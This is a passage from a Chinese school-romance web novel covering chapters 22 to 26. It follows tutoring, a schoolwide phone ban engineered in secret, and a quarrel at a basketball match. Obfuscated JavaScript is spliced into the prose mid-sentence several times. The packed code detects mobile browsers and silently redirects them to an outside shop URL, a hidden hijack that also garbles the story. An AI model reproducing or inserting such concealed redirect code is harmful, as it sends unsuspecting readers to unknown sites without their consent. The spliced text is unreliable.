卷面上用不同颜色的笔写满了字,能轻易分辨出答题和批改以及订正的痕迹。从这个小细节就能看出,霍鸷阳写模拟卷时很认真,没有偷工减料。 满意情绪一直持续到看完第一份模拟卷的答题情况。 试卷能直观反映出一个人掌握了多少知识点,霍鸷阳写这些模拟卷时确实很认真,但到底落了许多知识点没学,突然认真写一份试卷对他来说并不容易。 理智告诉她要理解,但看着许多不该错的基础性题目,被霍鸷阳错出新花样,姜祁月还是忍不住生气。要不是天色晚了,她都想把霍鸷阳抓来好好补一补数学课。 所幸霍鸷阳也明白这点,写试卷时同样捡起之前拉下的内容学习,试卷越翻到后面,基础性题目错处越少。 分数也从最初的四十分涨到了八十几,甚至有一张到了及格线。 显而易见,霍鸷阳智商没有缺陷,不说学的多好,及格是没问题的,像之前一百五十分的考试卷只考二十几分,纯属没用心,许多题甚至是猜的,只写了选择题和填空题。 看完十来张试卷,姜祁月揉了揉眉心,暗自做了一个决定。——再去给霍鸷阳买几份其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579642|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 科目的模拟卷。 相信有了新的模拟卷,霍鸷阳就没精力管其他事,会安生很长一段时间。当然,试卷得一份份给,难度也要选不高的,有了成就感霍鸷阳才不会排斥写卷子。 与此同时。 霍鸷阳丝毫不知道自己即将迎来什么,还在论坛上翻看帖子。 原本沉寂下去的磕cp贴,因为校庆表演的事再次活跃起来,甚至多出许多放图和讨论的新帖子。 明明都在预料之中,亲眼看见后还是会觉得不舒服。 霍鸷阳不是隐忍的人,行动能力很强,一边联系其他做过交易的同人太太帮忙顶其他贴子,一边开小号发讨论其他表演节目的帖子,一旦出现提到姜祁月和温绥晏的立刻删评。 同人太太们之前在霍鸷阳身上小赚了一笔,收到消息都很乐意帮他这个忙。 过了两个小时,热度渐渐消退下去,贴吧首页也很少再出现相关帖子。 确认没问题了,霍鸷阳登录校网,找到校长联系方式,用小号邮箱匿名发了条很损,但是极其管用的建议。 依他看,贴吧有那么多照片和讨论帖,很大原因是大家都带了手机。 学校绝大多数人都是住校生,需要用手机支付日常开销,故而只要上课不贴脸开大拿手机玩,大家都是睁一只眼闭一只眼。 如果上课时间不能带手机,就不会有人拍那么多照片,更不会有那么多帖子。 退一万步说,就算收了手机依旧有那种磕cp的帖子也不足为惧。 管控手机的热度绝对压过校庆表演和磕cp的事,等管控手机的事出来,不会有人顾得上磕cp。 一举两得,一箭双雕,他都佩服自己能想到这么好的办法。 霍鸷阳洋洋洒洒写了几千字,大义凛然阐述手机带入教室的危害,建议校长严肃重视这个问题。 可以说他从未如此认真写过什么东西。 好在这封邮箱起到了极大作用,甚至带动附近学校跟着学习管控手机,无数学生猜测究竟是谁提出这个建议。 他们猜测了无数人,唯独没有往霍鸷阳身上猜。毕竟一个连写作文都懒得写的学渣校霸,怎么可能伤敌一千自损八百,挥笔写下几千字邮件,建议校长管控手机? 当然,这些都是后话。 发出邮箱后,霍鸷阳还有些意犹未尽。再给他一点时间,他还能写出更多发自肺腑的东西。 22.独发,禁止转载 校庆表演结束的第二天,学校恢复正常上课。 但前一天的放纵,让许多人心都野了,无法迅速调整回学习状态。 见认真听讲的人没几个,班主任课上到一半就停了,慢悠悠丢出个爆炸性消息:“有件事要跟大家透个底,昨天晚上校领导收到一封匿名邮件,建议校方出面管控大家的手机情况。” 此话一出,原本心思浮躁的同学们顿时安静下来,齐刷刷朝班主任的方向看去,抓耳挠腮地等班主任把话说完整。 管控手机对他们来说可不是一个好消息。 姜祁月微微侧眸。她自制力好,管控手机对她来说没有任何影响,但她很好奇是谁提出这个得罪人的意见的。 卖够关子,班主任乐呵呵地放下教材书,接着往后说:“不过嘛,现在这件事还没定下来,如果大家表现得好,说不定有转圜余地。” 自始至终,班主任用的都是“如果”和“说不定”这类词语。 这种模棱两可的话,就是说出来哄小孩的。 放在平时,这么多人肯定有察觉到异常的,但现在大家都人心惶惶着,没人察觉到不对劲,一个个都信了班主任的话,卯足劲想表现得更好,甚至催促班主任继续上课。 学习氛围比校庆表演前还要好。 班主任满意地点了点头,深藏功与名。 唯一察觉到漏洞的姜祁月一句话也没说,乐于看到大家收心学习。 至于造成这一切的罪魁祸首…… 听到班主任的话时,霍鸷阳的心就放了下来,知道自己的目的已经达成了。 现在唯一要做的就是等。 想到很快就没人顾得上磕姜祁月和温绥晏cp,霍鸷阳心情就无比美妙。 但他没想到自己先等来的不是管控手机的正式通知,而是一份崭新的语文模拟卷。 “给我这个干什么?”看见模拟卷的瞬间,霍鸷阳一阵头皮发麻,下意识往后退了一步。 这段时间写数学模拟卷,都快把他写抑郁了。眼看着只剩下最后几张,谁料姜祁月突然推来一份新的语文模拟卷。 “你写的数学卷子我看完了,进步很大,看得出你很有学习潜力。”姜祁月轻轻点了点卷面,浅笑盈盈地说:“这么好的潜力不能浪费了,等数学模拟卷写完,再试试这份吧。” 说这些话时,姜祁月无比诚恳。她知道霍鸷阳跟自己一样吃软不吃硬,除此之外,她是真心这么认为的。 成绩好的人想进步并不容易,能提升的空间不大,但像霍鸷阳那样只考二十几分的,能够提升的空间大得惊人。 她精挑细选,才选出这份语文模拟卷。 比起其他科目,语文试卷更换入手,写到多了就会发现所有题目都有答题规律可循,尤其是几道分值占比大的阅读题。 这个试卷好就好在总结了答题常用的模板,非常适合霍鸷阳用。 “就算我有进步有潜力,也不是这么挖掘的吧……”霍鸷阳小声嘟哝。话是这样说没错,但他脸上却不自觉带上几分得意之色,唇角也不自觉上扬,显然心情非常好。 他不是不识好歹的人,知道姜祁月这样做是为了他好,换成其他人还没这待遇。这样一想,多写点试卷也不是不能接受。 姜祁月察觉到他的态度软化,声音轻缓的说:“我相信你可以做到。” “那是当然。”霍鸷阳下意识回了一句。意识到自己的回答速度太快了,显得很不矜持,又露出懊恼神色。 姜祁月倒是没有察觉出他的情绪变化,目光被前排幽幽看过来的苏浅灿吸引走了:“黑眼圈怎么这么重?昨晚没睡好吗?” 顶着两个黑眼圈的苏浅灿见姜祁月终于注意到自己,有气无力的趴在姜祁月桌子上,软绵绵挥了挥手,蔫哒哒的抬头说:“害,可别提了,约稿的金主大晚上的突然发消息让我帮忙,压了两三个小时才把忙帮完,没想到晚上做了个噩梦失眠了大半宿,今天一来学习还听到可能会管控手机的噩耗。” 闻者伤心,听者流泪。 苏浅灿眼里黯然无光,心如死灰地仰头望天,浑身透着股死气沉沉的尸气。 “换个角度想想,这也不是件坏事。”姜祁月眼角微弯,被苏浅灿这副样子逗笑了。 “哎,不说这个了。”苏浅灿疲倦的吐出一口气,像是被吸了精气似的:“趁现在下课,我先补会儿觉。”说完就慢吞吞转回去趴在自己桌子上,表演了个秒睡。 不难看出她是真困了。 姜祁月压低声音对霍鸷阳说:“有什么不会的题可以问我,淑琴阿姨知道你成绩变好肯定很高兴。” “嗯。”霍鸷阳同样压低声音回了一句。 他不是一点都学不进去,就是单纯叛逆,没有任何目标无所谓学不学。前段时间在包厢玩的真心话大冒险游戏,让他意识到自己不能这样下去了。——姜祁月的理想型是成绩好,温文尔雅,多才多艺的人。 就算知道自己未来如愿的概率小,霍鸷阳也想努力离姜祁月理想型的样子挨近点。 第一步就是多学点,提高狗都看不过去的成绩。不说多好,起码要提升到及格。至于温文尔雅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590074|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他是装不出来的。 不过多才多艺……霍鸷阳不确定地想着,有运动细胞大概也算吧? 短短几秒时间,霍鸷阳想了一大堆东西,甚至连自己的退路都想好了。 他脑子没姜祁月聪明,再给他三年也跟不上姜祁月的成绩,他妈妈之前说的话虽然不中听,但很真实。 按照姜祁月的成绩,肯定会考上国内顶尖的学校,以后前途无限,接触的人也不会普通,到时候他就更没机会上位了。 想离姜祁月近一点,还是得好好学习。 越看清自己心意,霍鸷阳就越清楚自己该做什么,此时他甚至开始考虑起走体育高考路线的可行性。 之前不转班是不想跟姜祁月分开,但现在他要为未来做更多的考虑。 “你心里有数就行。”见霍鸷阳在出神想小心思,姜祁月没再说什么。 写试卷的事就这么定了下来。 想变好难,想变坏容易。 学习比霍鸷阳想的要难许多,他从之前的游手好闲变成勤奋学习,惊掉了一地下巴,连班主任都惊讶地夸了他好几句,还有些不习惯霍鸷阳突然变得这么安生,被霍鸷阳委托询问专去体育班的事情时,也主动帮他解惑。 “按理来说,想转班的高二就转得差不多了,还没几个在高三想转的,这个时候艺体班都在集训,我等会儿去帮你问问,按照你的体育天赋,跟上体育班的进度不是问题。” 班主任乐意见学生上进,问都没问霍鸷阳为什么突然改变想法,连原先骂霍鸷阳头脑简单四肢发达的话,都心情很好地变成有体育天赋。 霍鸷阳倒也上道,一改往日乖张性格,点头道谢后才离开。 身后同办公室的老师稀罕极了,纷纷询问起班主任收服霍鸷阳的技巧。这么难搞的角色,居然也有从良的一天…… 学习氛围在霍鸷阳的带动下越变越好。 但这并没有改变管控手机的事变成定局。 不久后,校领导就下了通知,要求各班学生不能把手机带去教室,还会不定时随机抽查手机管控情况。 和霍鸷阳想的一样,这件事一出来,就没任何人再管磕cp了,贴吧和学校讨论的全是管控手机的事。 一切都在往好的方向发展。 唯一让霍鸷阳不满意的就是,温绥晏不知道吃错了什么药,明明校庆表演都结束了,居然还时不时往姜祁月身边凑! 偏偏用的理由非常正经,让他都不好说什么。 毕竟两个学霸凑在一起讨论题目,是多么正常的一件事啊。 23.独发,禁止转载 除了霍鸷阳觉得不好外,没人觉得有问题。 每次看到和姜祁月探讨题目的温绥晏,霍鸷阳面色都很难看,直接把不欢迎温绥晏摆在明面上。 温绥晏就跟没长眼睛似的,不仅没有被他针对到离开,甚至耍小手段让姜祁月答应一起吃饭的事,每次下课手边都带着抄录下来的题目,一吃完饭就跟姜祁月一起解题。 往日只有霍鸷阳和姜祁月吃饭的小亭子,多出第三人的身影。 不满情绪日益堆积,霍鸷阳更加坚定了好好学习的心。等他学的知识点更多,变得更聪明,就能像温绥晏一样和姜祁月探讨题目了。 等等……探讨题目? 霍鸷阳灵光一闪,突然想到什么。他记得前段时间姜祁月说过,如果有不懂的问题可以问他…… 放在之前,依照霍鸷阳爱面子的性格,就算真有不懂的题目也绝对不会去找姜祁月。 但现在不同,现在情况特殊,温绥晏步步紧逼,和姜祁月关系有越来越好的趋势,班主任那边也来了消息,只要他愿意,走完程序就能转班。 时间太紧了,霍鸷阳都不敢想自己转班后,温绥晏会怎么变本加厉。 抱着减少姜祁月和温绥晏接触的目的,霍鸷阳在周六放假后找到姜祁月,头一次对姜祁月示弱提出请求。 他垂头丧气地看着姜祁月说:“我实在太笨了,试卷越写到后面越看不懂,这几天怎么看网课都没起效果。” 姜祁月微怔,歪了歪脑袋:“怎么不早点跟我说?” 霍鸷阳情绪更低落,闷声闷气的回答道:“我看你跟温绥晏一直讨论奥数题,就没敢打扰你们。” 这句话让姜祁月成功回忆起这几天发生的事。 这些天她只顾着跟温绥晏解题,沉浸在和有好感的人一起学习的双重快乐中,不知不觉就忽略了霍鸷阳,即便察觉到他的情绪波动有些大,总是盯着她和温绥晏看,也没有放在心上。 现在想想,确实有点不厚道。 姜祁月声音不自觉软化,小声说:“没关系的,我跟温绥晏说一下就好,你有什么不会的题目可以经常问我,不会打扰我们的。” “我们”这个词一出,霍鸷阳差点被绷住剧烈翻涌的情绪。 好在他还记得自己的目的,强行抑制住不爽,眨巴着眼说:“好,只要小乖不嫌弃我问题多就行。” “不会的。”姜祁月摇头。 她是真的很重视霍鸷阳这个从小玩到大的伙伴,即便不看长辈交情,她也愿意帮扶一把。 就这样,霍鸷阳光明正大占据了姜祁月的时间,一有空就带着试卷和教材书去找姜祁月问题目。 刚开始张淑琴很不放心,生怕霍鸷阳想憋个大的幺蛾子,连着盯了一天才敢确认霍鸷阳是真的上进了,用心跟在小乖后面学习。 当时她就在想,原来外面听到的那些传言不是假的,这可真是祖坟冒青烟了…… 霍鸷阳不知道自家亲妈在想什么,连轴转了两天,过得煎熬又快乐。有了这两天做铺垫,下周一篮球联赛结束后,他就能有理由打断温绥晏找姜祁月讨论题目了。 就是学习过程太痛苦,他脑袋都快爆炸了。 “今天就学到这里吧,你回去好好休息休息,每天下午还有比赛呢。”姜祁月看了眼时间,估摸着差不多了就出声赶人离开。 贪多嚼不烂。霍鸷阳这个状态不适合继续学了。 “好,明天下午记得去看我比赛。”听见今天就学到这里,霍鸷阳脸上浮现出真切的笑来,仔细收拾好自己的东西离开。 姜祁月无奈,说出不知道说过多少遍的回答:“放心,不会忘记。” 目送霍鸷阳离开,姜祁月解锁手机屏幕查看消息。 刚刚给霍鸷阳讲题的时候,手机震动了好几下,应该是有人来消息了。 点开一看,是温绥晏发来的。 昨天她给温绥晏发消息,说了最近没时间见面讨论题目的事,温绥晏敏锐察觉到和霍鸷阳有关,问了几句后终于松口,让她不要太累了。 不过不能见面带来的影响并没有想象中大,温绥晏发消息的次数越来越多,聊的内容也不再局限于题目。 有时候姜祁月都会产生自己在网恋的荒诞错觉。她越来越怀疑温绥晏对自己有好感,又犹豫着不敢下定决心去问。 姜祁月胆子并不大,除非逼急了才会勇敢一下,但现在还没到足以让她勇敢的时候。 她担心捅破最后一层窗户纸后,得到的结果和自己想要的完全不同。这样的话对她的打击一定很大,与其这样,她宁可维持现状,缩在蜗牛壳里装作无事发生,一直平平淡淡下去。 姜祁月显然忘了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598550|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有霍鸷阳在,不可能平淡下去。 次日下午,两校篮球联赛。 一吃完午饭,霍鸷阳就匆匆赶去做准备。 班主任知道这种情况大家也没心思上课,干脆大手一挥,给学生们放了几节课假,倒是省了姜祁月写假条的麻烦。 其他班的同学们就没这么好运气,从窗口看见他们班齐齐涌去篮球场,羡慕得都快哭出来了。 “都静一静,都静一静,你们想造反呐?” 讲台上的授课老师用力敲黑板,大着嗓门喊:“他们班平均分次次第一,等你们班成绩跟他们班一样好的时候,别说放几节课假看比赛,就算不想来上课都可以。现在全都给我坐好,继续上课!” 类似的情况好几个班都在发生。 无论他们怎么羡慕,都改变不了现状,只能趁着下课的时间偷偷去看。运气好点的班下午刚好有体育课,能去篮球场凑一节课的热闹。 姜祁月没用受到其他人影响,正被苏浅灿拉去买水,然后一起往篮球场赶。 沾了霍鸷阳的光,她们得到了个看比赛的好位置。 比赛进行得如火如荼。 前几场霍鸷阳没有上场,大家实力差不多,胜负对半分。 精彩是精彩,但没有特别可圈可点的地方。 估计都在保留实力,等待双方压轴选手上场。 苏浅灿看了会儿就有些兴致缺缺,她对打篮球不感兴趣,就是单纯来凑凑热闹的,现在热情褪去,加上室外温度高,跟姜祁月打了声招呼就回教室歇着去了。 和苏浅灿一样的人还有许多。 不过离开的人赶不上过来的,总体来说围观人群数量在不断增加。 霍鸷阳上场后,来的人更多了。 局势迅速逆转,从开始的胜负对半分到一边倒。 哪怕对面也派上压轴选手,也没拯救回太多。 不过很快,他们就察觉到霍鸷阳的弱点。——他更擅长孤军奋战,并不擅长团队协作。 而这恰好是对面篮球队的优势,他们很擅长团队协作。 抓住这一点,他们让霍鸷阳吃了不少亏。 比赛越来越激烈。 任谁看见霍鸷阳的表现,都会忍不住感慨他真是四肢发达。 换成另一个人被这样针对,绝对撑不到现在。 24.独发,禁止转载 霍鸷阳不仅撑住了,还以一分之差的微弱优势,取得了比赛的胜利。 这场比赛是在本校办的,来围观的观众也多是本校学生,这个比赛结果让大家都激动得不行,一时间呼声阵阵,氛围非常好。 来参加联赛的队伍倒也输得起,不仅没有生气,还在比赛结果出来后围到霍鸷阳面前夸他,一个劲询问他有没有什么进球的技巧。 他们都知道霍鸷阳进球率高,特意组团围困霍鸷阳,没想到霍鸷阳这么难缠,严防死守还是防不住,只要球到了霍鸷阳手里,就一定会投进球框内。 远远看着这一幕,所有人都与有荣焉。 姜祁月撑着遮阳伞静静站在那里看着,内心同样激动。 比起上次训练赛,这次的正式联赛霍鸷阳表现得更好,很耀眼夺目。 就在她出神之际,耳畔突然响起一道询问声。 “热吗?要不要喝点水?” 很熟悉的声音,温柔似水。 不用看都知道是温绥晏。 姜祁月下意识问:“你怎么也在这里?” 她还以为温绥晏这个时间还在上课,没想到他回来看比赛。 “我们班这节课刚好是体育课,刚好听说这边有篮球联赛,想着你会不会在这里,就多买了瓶水带来。”温绥晏无奈叹了口气,轻笑着说:“没想到你还真在这里。” 姜祁月礼貌道谢:“谢谢,但我买了水。”说着,还不忘举了举手里的购物袋。 她怕在这里站久了水被闷热,特意拿了放在冰柜里冰成冰的矿泉水,现在冰只化了一半,还能再放一段时间。 “没关系,接下来有什么打算吗?”温绥晏换了个话题,温声询问:“要不要一起做题目?” “啊……”姜祁月欲言又止,着实有些为难。 平时无所谓,现在人这么多,还是要避嫌一点的,当着这么多人的面跟温绥晏离开,肯定会引来一堆人议论。 不过现在这样,议论声好像也不少。 他们这边的动静还是吸引了霍鸷阳的注意。 他黑着一张脸,气势汹汹的朝姜祁月的方向走。 恍惚间,姜祁月觉得这一幕熟悉极了。 之前训练赛的时候,霍鸷阳看见她和温绥晏站在一起,好像也是这样气势汹汹朝他们这边走的…… 只不过当时有队友拦着,速度没那么快,这次队友们还沉浸在快乐中,加上霍鸷阳速度实在是太快了,没有人反应过来。 等他们回神时,霍鸷阳已经走到姜祁月和温绥晏面前了。 “哟,我当是谁呢,原来隔壁班的大学霸也来看比赛了,真是荣幸。”在姜祁月紧张的目光下,霍鸷阳朝温绥晏扬了扬下巴,嚣张地问:“怎么样,有没有兴趣上去比一比?我让你一球。” 这话说的挑衅意味十足。 换个火气大的人,绝对被刺激的当场答应。 温绥晏不一样,即便被人贴脸开大,情绪依旧很稳定,半点没有生气的意思,甚至好脾气的笑道:“术业有专攻。我四肢不是很发达,篮球打得不好,就不上去比了吧。” “你说谁四肢发达?”霍鸷阳敏锐捕捉到不对劲,越看温绥晏就越是不顺眼:“不敢比就不敢比,找那么多借口做什么?” 说话的语气极具攻击性,就差指着温绥晏鼻子骂他怂。 到了这种地步,温绥晏还是没生气,甚至主动退步说:“不是找借口,是我真的不擅长打篮球,这样还有什么比赛的必要吗?” “也是,不用比都知道你比不过我。”霍鸷阳嗤笑一声,明显看不起温绥晏。 今天是两校联赛,来围观看热闹的人非常多,绝大多数人都是冲着看霍鸷阳来的,目光不自觉追随霍鸷阳移动。 见霍鸷阳和温绥晏针锋相对,剩下的人目光也被吸引过去。 几句话的时间,整个篮球场的观众全部朝他们这边看了过来。 霍鸷阳不在意其他人的目光,还想说几句什么嘲讽下温绥晏,冷不丁听见姜祁月的声音。 “够了。” 冷冰冰的两个字,不带一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607329|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情绪。 原本还耀武扬威的霍鸷阳,就跟被捏住七寸的蛇,顿时安静下来,一句话都不敢多说,难以置信的看向姜祁月。 他不敢相信这句话是对自己说的。 “是谁教你故意找其他人比对方不擅长的东西的?”姜祁月声音冷硬,带着抑制不住的怒气。 她是真不明白,为什么霍鸷阳越来越不可理喻,之前跟温绥晏不对付,时不时刺温绥晏几句也就算了,现在居然当着这么多人的面,让温绥晏跟他比篮球。这不是故意为难温绥晏,想让温绥晏当众出丑吗? 这种阴险手段太不入流了。 谁也没想到姜祁月会突然生气。 连温绥晏都微微怔愣,随即无奈轻笑:“我没关系的,祁月别生气了,霍鸷阳是你朋友,不像有那么多小心思的样子,可能是单纯没比够,想再找其他人继续比一比吧。” 识大体的一番话说出来,对比之前霍鸷阳咄咄逼人的态度,高下立判。 霍鸷阳顾不上针对温绥晏,身体瞬间变得无比僵硬,说话时声线不稳发颤:“你凶我?你居然为了其他人凶我……” 霍鸷阳像是受到了天大的打击一样,萎靡不振的低垂下脑袋,依旧不敢相信自己被姜祁月凶了。 他一直在心里告诫自己不能跟温绥晏硬碰硬,温绥晏没有表面看上去那么简单,每次对上都讨不到好,但理智是一回事,感情又是另外一回事。 这段时间忍下来,他都快疯了,现在主动挑衅温绥晏,也是抱着一种隐晦的试探心思。——霍鸷阳想试试在姜祁月心里,究竟是他重要还是温绥晏重要。 现在试探的结果出来了,他却不能接受。 不知道从什么时候开始,温绥晏在姜祁月心里的占比越来越大,和姜祁月待在一起的时间也比他多多了。 霍鸷阳越想越不甘心,眼眶酸涩泛红,差点被气得哭出来。 但他不想被温绥晏看笑话,硬生生忍了回去,固执地盯着姜祁月看。像极了有恃无恐做了坏事,又害怕被主人抛弃的大狗。 25.独发,禁止转载 对上霍鸷阳泛红的眼睛,姜祁月心里也有些不好受。 这是她第一次看见霍鸷阳这样,仿佛下一秒眼泪就会掉下来。再一想起不久前霍鸷阳在篮球场意气风发的样子,心不自觉变软。 就在她想说点什么缓解氛围时,身旁突然响起一道低落的叹息声。 “我没事的,你先安慰他吧。” 是温绥晏。 见姜祁月侧眸看自己,温绥晏挤出一抹笑来,那笑怎么看都很牵强。 他说话的声音很小,除了姜祁月外没人能听见。 仅此一句,让姜祁月原本软下去的心再次变硬。总是被针对的人明明是温绥晏,就算安慰也该安慰被强人所难的温绥晏,而不是倒反天罡转去安慰起霍鸷阳。 一旦开了这个口子,让霍鸷阳产生“会哭的孩子有糖吃”的感觉,类似的事情在未来只会越变越多。 想到这里,姜祁月不再犹豫,眉心微蹙着对霍鸷阳说:“不是我帮其他人凶你,是你一直在为难其他人,我觉得你需要跟温绥晏道个歉。” 霍鸷阳一听,犟脾气顿时上来了,气急反笑:“那要是我不道歉呢?” “随便你。”姜祁月被他这句话说得怒气上涌,连脸都涨红了,但她不是会当着这么多人的面生气的性格,用失望的目光看了霍鸷阳一眼后,转身对温绥晏说:“我们先走吧。” 这个时候,姜祁月也顾不上跟温绥晏避嫌了。今天这个事情,她作为夹在中间的人肯定不能置身事外,必须好好解释清楚。 “好。”温绥晏脸上的笑容真切许多,陪着姜祁月一起离开篮球场。至于其他人,他看都没有看一眼,更懒得去关注,只多看了霍鸷阳几眼,看到对方怒目而视就收回了目光。 姜祁月同样没有回头,一路上都在绞尽脑汁想表明态度的事。 到了阴凉地,姜祁月停了下来,坐在被树荫遮蔽的长椅上,低垂眼帘道:“今天的事是我没有及时阻止,放心,我一定会让霍鸷阳给你个说法。” “这件事跟你没关系,他是他,你是你。”温绥晏不赞同的皱起眉,声音依旧很温和:“更何况我不在意霍鸷阳说什么做什么,只要你不误会就好。” 说后半句话时,温绥晏的语气更温柔了,目光也一直落在姜祁月身上,专注又上心,显得深情款款的,非常有迷惑性。 微风吹过,带来一片凉意。 树梢轻轻晃动,阳光透过树叶间隙,在地上映照出点点斑驳。 四周很安静,除了他们就没有其他人在,只能听见树叶吹动的沙沙声和时不时响起的蟋蟀叫。 他们坐在同一条长椅上,彼此隔着一段距离。 但这段距离并没有改变什么。 氛围因为温绥晏说的话,渐渐变得微妙起来。 姜祁月手指不安地捏紧衣角,心脏扑通扑通跳得飞快,低头盯着地面看,视线游移不定,被头发遮挡得耳朵早已红得滴血。 她鼓起勇气抬头,恰好对上温绥晏的目光。 心跳速率更加失控,呼吸都变得不对劲起来,精致面颊浮现出一层诱人薄红。 气氛实在太好了,姜祁月想问温绥晏是不是对自己有好感,话到嘴边又咽了下去。算了,现在说这些太违和了,还是先把霍鸷阳的事情处理好吧。 “怎么了吗?”温绥晏察觉到姜祁月在出神,轻声询问了一句,目光专注的看着她,带上几分关切神色:“是不是有什么地方不舒服?” 姜祁月摇头,呐呐地说:“我没事……” 话是这样说的,但看她的样子根本不像是没事。 见她不想说,温绥晏没再多问,只让她开心一点,不要闷闷不乐的。 听着温绥晏的话,姜祁月眼角微弯,总算是笑了,水润漂亮的眼睛好奇地盯着温绥晏看:“温绥晏,你脾气怎么这么好啊?” 明明更应该被安慰的人是温绥晏,怎么变成她被温绥晏安慰了? 都说姜祁月脾气好,但在姜祁月看来,温绥晏才是真的脾气好,无论别人说什么做什么,好像都不会生气的样子,就连她都自认做不到这一点。 温绥晏不置可否地笑了笑,眼底神色晦暗难辨。 姜祁月突然想到什么,看了眼腕表说:“时间不早了,你快回去集合吧。” 他们学校体育老师不多,一个体育老师往往要带好几个班的体育课,恰好姜祁月班和温绥晏班的体育老师是同一个,习惯性在下课前五分钟集合点名,要是没点到人,是会算旷课的。 “那我先走了,你也早点回去,外面太热了。”温绥晏挥了挥手,打了声招呼离开。 温绥晏离开后没多久,姜祁月也起身回教室,情绪渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624006|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐低落下去,又想起篮球场发生的事。 她很少像今天这样生气过,霍鸷阳这次真的太过了。 踏进教室门,感受到空调吹出的凉意,姜祁月的心才稍微平静一点。 苏浅灿见她回来,迅速围了上来,其他同学虽然没有凑过来,但视线一直聚集在她身上,眼中是一模一样的好奇和探究神色。 显然,篮球场的事已经传出来了。 不等姜祁月说话,苏浅灿就压低声音喋喋不休的说了一大堆东西。 “月月,你跟霍鸷阳真吵架了吗?他回来就一直趴在桌子上不说话,怪吓人的嘞。嘶,他趴的姿势好熟悉哇,是不是被气哭了哎……” 苏浅灿越说话越密,仿佛永远说不完一样。 姜祁月站在原地,同样压低声音回道:“不是吵架,是想让他认识到自己强人所难的错误,向温绥晏道歉。” 很简单的一件事,霍鸷阳却意识不到,非要一直犟到现在。 “别生气别生气,有话咱可以慢慢说,我还没见霍鸷阳这样……” 真可怜。 苏浅灿唏嘘不已。 在温绥晏出现前,她跟霍鸷阳是最不对付的,都想争夺姜祁月注意,但也没这么夸张,见面就出掐架啊。 掐架也就算了,还次次都闹得那么难收场。 “没有生气。”姜祁月轻叹一声。比起生气,更多的是失望,她想不明白霍鸷阳怎么变成这样了。 出神之际,教室另一端的霍鸷阳突然抬头,直勾勾盯着她看。 眼眶还带着红血丝。 也不知道在桌子上趴了这么久哭没哭过。 姜祁月犹豫片刻,还是走了过去,回到自己座位上坐下。 霍鸷阳只是盯着她看,除此之外什么举动也没有。 姜祁月也没说话,拿出试卷开始刷题。 苏浅灿忧心忡忡的往他们那边看了眼,端起水杯去倒水。 其他人看了一会儿,见没热闹能凑,纷纷无聊地收回目光,继续该干什么干什么去了。 刷了几道题,姜祁月心情平静不少。 一直没有开口说话的霍鸷阳突然开口了,声音沙哑干涩,听着可怜极了。 “小乖,你不要生气好不好?” “除了跟他道歉,让我做什么都可以……” 26.独发,禁止转载 听到第一句话时,姜祁月心里的气消了大半,想着等会儿好好跟霍鸷阳说道歉的事,等霍鸷阳意识到自己做错了,跟温绥晏道完歉就算翻篇。 直到她听见了第二句。 知错不改的态度让姜祁月更生气了,声音中都带上几分冷意:“除了跟温绥晏道歉,我没有别的想要你做的。” 这是她第一次用这种冷冰冰的语气跟霍鸷阳说话。 霍鸷阳颓废的低下头,整个人看上去更加颓废。 “如果你不想跟他道歉,那就没什么好说的了。” 说完这句话,姜祁月别过头,真的没有再理过霍鸷阳。 